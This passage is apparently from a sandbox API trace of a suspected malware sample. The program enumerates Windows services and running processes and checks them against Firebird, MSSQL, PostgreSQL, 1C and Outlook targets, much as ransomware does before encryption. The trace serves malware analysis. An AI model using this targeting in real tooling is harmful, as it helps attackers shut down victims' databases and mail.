lpString2="Dhcp") returned 1 [0226.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0226.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0226.270] lstrlenW (lpString="Dnscache") returned 8 [0226.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0226.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0226.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0226.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0226.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0226.270] lstrlenW (lpString="DPS") returned 3 [0226.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0226.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0226.270] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0226.270] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0226.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0226.270] lstrlenW (lpString="eventlog") returned 8 [0226.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0226.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0226.270] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0226.270] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0226.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0226.271] lstrlenW (lpString="EventSystem") returned 11 [0226.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0226.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0226.271] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0226.271] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0226.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0226.271] lstrlenW (lpString="FontCache") returned 9 [0226.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0226.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0226.271] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0226.271] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0226.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0226.271] lstrlenW (lpString="gpsvc") returned 5 [0226.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0226.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0226.271] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0226.271] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0226.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0226.271] lstrlenW (lpString="iphlpsvc") returned 8 [0226.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0226.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0226.271] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0226.271] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0226.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0226.271] lstrlenW (lpString="LanmanServer") returned 12 [0226.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0226.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0226.271] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0226.271] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0226.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0226.271] lstrlenW (lpString="LanmanWorkstation") returned 17 [0226.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0226.272] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0226.272] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0226.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0226.272] lstrlenW (lpString="lmhosts") returned 7 [0226.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0226.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0226.272] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0226.272] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0226.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0226.272] lstrlenW (lpString="MMCSS") returned 5 [0226.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0226.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0226.272] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0226.272] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0226.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0226.272] lstrlenW (lpString="MpsSvc") returned 6 [0226.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0226.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0226.272] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0226.272] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0226.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0226.272] lstrlenW (lpString="Netman") returned 6 [0226.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0226.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0226.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0226.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0226.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0226.272] lstrlenW (lpString="netprofm") returned 8 [0226.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0226.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0226.272] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0226.272] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0226.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0226.273] lstrlenW (lpString="NlaSvc") returned 6 [0226.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0226.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0226.273] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0226.273] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0226.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0226.273] lstrlenW (lpString="nsi") returned 3 [0226.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0226.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0226.273] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0226.273] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0226.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0226.273] lstrlenW (lpString="PcaSvc") returned 6 [0226.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0226.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0226.273] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0226.273] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0226.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0226.273] lstrlenW (lpString="PlugPlay") returned 8 [0226.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0226.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0226.273] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0226.273] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0226.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0226.273] lstrlenW (lpString="Power") returned 5 [0226.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0226.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0226.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0226.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0226.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0226.273] lstrlenW (lpString="ProfSvc") returned 7 [0226.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0226.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0226.274] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0226.274] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0226.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0226.274] lstrlenW (lpString="RpcEptMapper") returned 12 [0226.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0226.274] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0226.274] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0226.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0226.274] lstrlenW (lpString="RpcSs") returned 5 [0226.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0226.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0226.274] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0226.274] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0226.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0226.274] lstrlenW (lpString="SamSs") returned 5 [0226.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0226.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0226.274] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0226.274] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0226.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0226.274] lstrlenW (lpString="Schedule") returned 8 [0226.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0226.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0226.274] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0226.274] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0226.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0226.274] lstrlenW (lpString="SENS") returned 4 [0226.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0226.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0226.274] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0226.274] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0226.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0226.275] lstrlenW (lpString="ShellHWDetection") returned 16 [0226.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0226.275] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0226.275] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0226.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0226.275] lstrlenW (lpString="Spooler") returned 7 [0226.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0226.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0226.275] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0226.275] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0226.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0226.275] lstrlenW (lpString="sppsvc") returned 6 [0226.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0226.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0226.275] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0226.275] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0226.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0226.275] lstrlenW (lpString="swprv") returned 5 [0226.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0226.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0226.275] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0226.275] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0226.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0226.275] lstrlenW (lpString="SysMain") returned 7 [0226.275] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0226.275] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0226.275] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0226.275] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0226.275] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0226.275] lstrlenW (lpString="Themes") returned 6 [0226.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0226.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0226.276] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0226.276] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0226.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0226.276] lstrlenW (lpString="TrkWks") returned 6 [0226.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0226.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0226.276] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0226.276] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0226.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0226.276] lstrlenW (lpString="UxSms") returned 5 [0226.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0226.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0226.276] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0226.276] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0226.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0226.276] lstrlenW (lpString="VSS") returned 3 [0226.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0226.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0226.276] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0226.276] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0226.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0226.276] lstrlenW (lpString="WdiServiceHost") returned 14 [0226.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0226.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0226.276] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0226.276] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0226.276] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0226.276] lstrlenW (lpString="WdiSystemHost") returned 13 [0226.276] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0226.276] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0226.277] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0226.277] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0226.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0226.277] lstrlenW (lpString="WinDefend") returned 9 [0226.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0226.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0226.277] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0226.277] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0226.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0226.277] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0226.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0226.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0226.277] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0226.277] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0226.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0226.277] lstrlenW (lpString="Winmgmt") returned 7 [0226.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0226.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0226.277] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0226.277] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0226.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0226.277] lstrlenW (lpString="wscsvc") returned 6 [0226.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0226.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0226.277] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0226.277] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0226.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0226.277] lstrlenW (lpString="wuauserv") returned 8 [0226.277] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0226.277] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0226.277] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0226.277] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0226.277] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0226.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f1c0d8 | out: hHeap=0x4f0000) returned 1 [0226.278] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ec [0226.279] Process32FirstW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0226.280] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0226.281] lstrlenW (lpString="System") returned 6 [0226.281] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0226.281] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0226.281] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0226.281] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0226.281] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0226.282] lstrlenW (lpString="smss.exe") returned 8 [0226.282] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.283] lstrlenW (lpString="csrss.exe") returned 9 [0226.283] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0226.284] lstrlenW (lpString="wininit.exe") returned 11 [0226.284] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0226.285] lstrlenW (lpString="csrss.exe") returned 9 [0226.285] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0226.286] lstrlenW (lpString="winlogon.exe") returned 12 [0226.286] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.287] lstrlenW (lpString="services.exe") returned 12 [0226.287] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.288] lstrlenW (lpString="lsass.exe") returned 9 [0226.288] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0226.289] lstrlenW (lpString="lsm.exe") returned 7 [0226.289] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.290] lstrlenW (lpString="svchost.exe") returned 11 [0226.290] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.291] lstrlenW (lpString="svchost.exe") returned 11 [0226.291] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.292] lstrlenW (lpString="svchost.exe") returned 11 [0226.292] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.292] lstrlenW (lpString="svchost.exe") returned 11 [0226.292] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.293] lstrlenW (lpString="svchost.exe") returned 11 [0226.293] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0226.294] lstrlenW (lpString="audiodg.exe") returned 11 [0226.294] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.295] lstrlenW (lpString="svchost.exe") returned 11 [0226.295] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.296] lstrlenW (lpString="svchost.exe") returned 11 [0226.296] Process32NextW (in: hSnapshot=0x1ec, lppe=0x229fd34 | 